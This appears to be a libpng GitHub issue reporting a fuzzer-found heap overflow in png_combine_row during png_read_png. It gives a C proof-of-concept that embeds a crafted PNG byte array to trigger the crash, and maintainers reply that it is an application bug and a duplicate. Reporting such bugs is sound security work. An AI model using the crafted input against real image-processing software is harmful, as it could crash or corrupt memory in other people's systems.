libpng
libpng copied to clipboard
A overflow crash happend in png_read_png
Hi,
we have found a overflow crash inside png_read_png
by using fuzzing.
The crash location is at: png_combine_row
pngrutil.c:3675, which is the same as #455 mentioned, but absolute different routines. This crash directly happened in the inner of png_read_png
.
The cause of this crash is little complicated, let us detail bellow.
As #455 mentioned, png_read_png
will call png_read_info(png_ptr, info_ptr)->png_handle_IHDR(png_ptr, info_ptr)
to read 13 bytes from a attached io file to initialize the png_ptr
and info_ptr
.
let assume the read 13 bytes are : {0, 11, 0, 32, 0, 0, 0, 32, 2, 0, 0, 0, 0, 129}
. The following field are set to: width=0xb0020
, height=0x20
, bit_depth=0x2
, ..., pixel_depth=0x10
, rowbytes=0x2c008
.
Then later in png_read_png
, info_ptr->row_pointers
are allocated buffers with size rowbytes=0x2c008
.
info_ptr->free_me |= PNG_FREE_ROWS;
for (iptr = 0; iptr < info_ptr->height; iptr++)
info_ptr->row_pointers[iptr] = png_voidcast(png_bytep,
png_malloc(png_ptr, info_ptr->rowbytes));
}
png_read_image(png_ptr, info_ptr->row_pointers);
Next, png_read_image()->png_read_row()->png_combine_row()
is called, and crash happend at {png_combine_row pngrutil.c:3675}.
memcpy(dp, sp, PNG_ROWBYTES(pixel_depth, row_width));
Here, dp
is the passed info_ptr->row_pointers[0]
, pixel_depth=0x10
, row_width=width=0xb0020
and PNG_ROWBYTES(pixel_depth, row_width) = 0x160040
.
The crash happend because the size of dp
is the size rowbytes=0x2c008
, whereas the above operation try to write 0x160040
bytes into dp
which is an overflow.
Here is the trigger case, you can compile it to reproduce the crash.
#include "png.h"
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
typedef uint8_t u8;
typedef uint64_t u64;
typedef int8_t i8;
typedef int32_t i32;
int main() {
i8 v0_tmp[] = {49, 46, 54, 46, 51, 55, 0, }; // user_png_ver
i8 *v0 = malloc(sizeof v0_tmp);
memcpy(v0, v0_tmp, sizeof v0_tmp);
i8 *v1 = v0; // user_png_ver
void *v2 = NULL; // error_ptr
void (*v3)(struct png_struct_def *,i8 *) = NULL; // error_fn
void (*v4)(struct png_struct_def *,i8 *) = NULL; // warn_fn
void *v5 = NULL; // mem_ptr
void * (*v6)(struct png_struct_def *,struct u64 ) = NULL; // malloc_fn
void (*v7)(struct png_struct_def *,void *) = NULL; // free_fn
struct png_struct_def *v8 = png_create_read_struct_2(v1, v2, v3, v4, v5, v6, v7); // png_ptr
if (v8 == NULL) return 0;
struct png_struct_def *v10 = v8; // png_ptr
u8 v11_tmp[] = {137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 11, 0, 32, 0, 0, 0, 32, 2, 0, 0, 0, 0, 129, 84, 103, 199, 0, 0, 0, 21, 80, 76, 84, 69, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 153, 255, 204, 102, 204, 204, 51, 153, 102, 0, 104, 169, 156, 0, 0, 0, 2, 115, 80, 76, 84, 0, 171, 55, 151, 183, 88, 0, 0, 0, 1, 98, 75, 71, 68, 0, 136, 5, 29, 72, 0, 0, 0, 9, 112, 72, 89, 115, 0, 0, 0, 72, 0, 0, 0, 72, 0, 70, 201, 107, 62, 0, 0, 0, 103, 73, 68, 65, 84, 40, 207, 189, 209, 203, 13, 128, 32, 16, 69, 81, 98, 9, 86, 160, 215, 96, 1, 216, 130, 52, 48, 9, 20, 96, 2, 253, 151, 224, 111, 51, 131, 43, 23, 122, 151, 39, 188, 132, 128, 99, 132, 126, 128, 142, 59, 199, 98, 194, 77, 171, 46, 6, 55, 197, 164, 202, 63, 3, 88, 16, 240, 6, 152, 55, 44, 212, 68, 209, 144, 139, 88, 56, 71, 22, 228, 24, 89, 184, 14, 24, 104, 111, 90, 27, 16, 159, 222, 78, 190, 126, 194, 92, 117, 225, 249, 217, 52, 237, 238, 71, 145, 26, 37, 18, 187, 239, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 99, 114, 101, 97, 116, 101, 0, 50, 48, 49, 53, 45, 48, 50, 45, 49, 49, 84, 48, 51, 58, 48, 48, 58, 48, 57, 43, 48, 49, 58, 48, 48, 252, 100, 186, 84, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 109, 111, 100, 105, 102, 121, 0, 50, 48, 49, 53, 45, 48, 50, 45, 49, 49, 84, 48, 50, 58, 51, 49, 58, 52, 49, 43, 48, 49, 58, 48, 48, 145, 42, 150, 207, 0, 0, 0, 25, 116, 69, 88, 116, 83, 111, 102, 116, 119, 97, 114, 101, 0, 65, 100, 111, 98, 101, 32, 73, 109, 97, 103, 101, 82, 101, 97, 100, 121, 113, 201, 101, 60, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130, 0, }; // file_buf
u8 *v11 = malloc(sizeof v11_tmp);
memcpy(v11, v11_tmp, sizeof v11_tmp);
char* v12 = "file___filename_11"; // __filename
FILE *f_v12 = fopen(v12, "wb");
fwrite(v11, sizeof v11_tmp, 1, f_v12);
fclose(f_v12);
i8 v13_tmp[] = {114, 98, 43, 0, }; // __modes
i8 *v13 = malloc(sizeof v13_tmp);
memcpy(v13, v13_tmp, sizeof v13_tmp);
i8 *v14 = v13; // __modes
struct _IO_FILE *v15 = fopen(v12, v14); // fp
if (v15 == NULL) return 0;
struct _IO_FILE *v17 = v15; // fp
png_init_io(v10, v17); // $relative
struct png_info_def *v19 = png_create_info_struct(v10); // info_ptr
if (v19 == NULL) return 0;
struct png_info_def *v21 = v19; // info_ptr
i32 v22 = 502351751; // transforms
void *v23 = NULL; // params
i32 v24 = -626394128; // allowed
i32 v25 = 4; // crit_action
i32 v26 = 4; // ancil_action
png_set_crc_action(v10, v25, v26); // $relative
png_set_expand_16(v10); // $relative
png_set_benign_errors(v10, v24); // $relative
png_read_update_info(v10, v21); // $relative
png_read_png(v10, v21, v22, v23); // $relative
}
Application bug:
bug 457 is a duplicate of this. 457-2.patch (in the duplicate) applies to this as well as does 458.patch (which is an RTFM).
@ctruta: please close, PR457 is a duplicate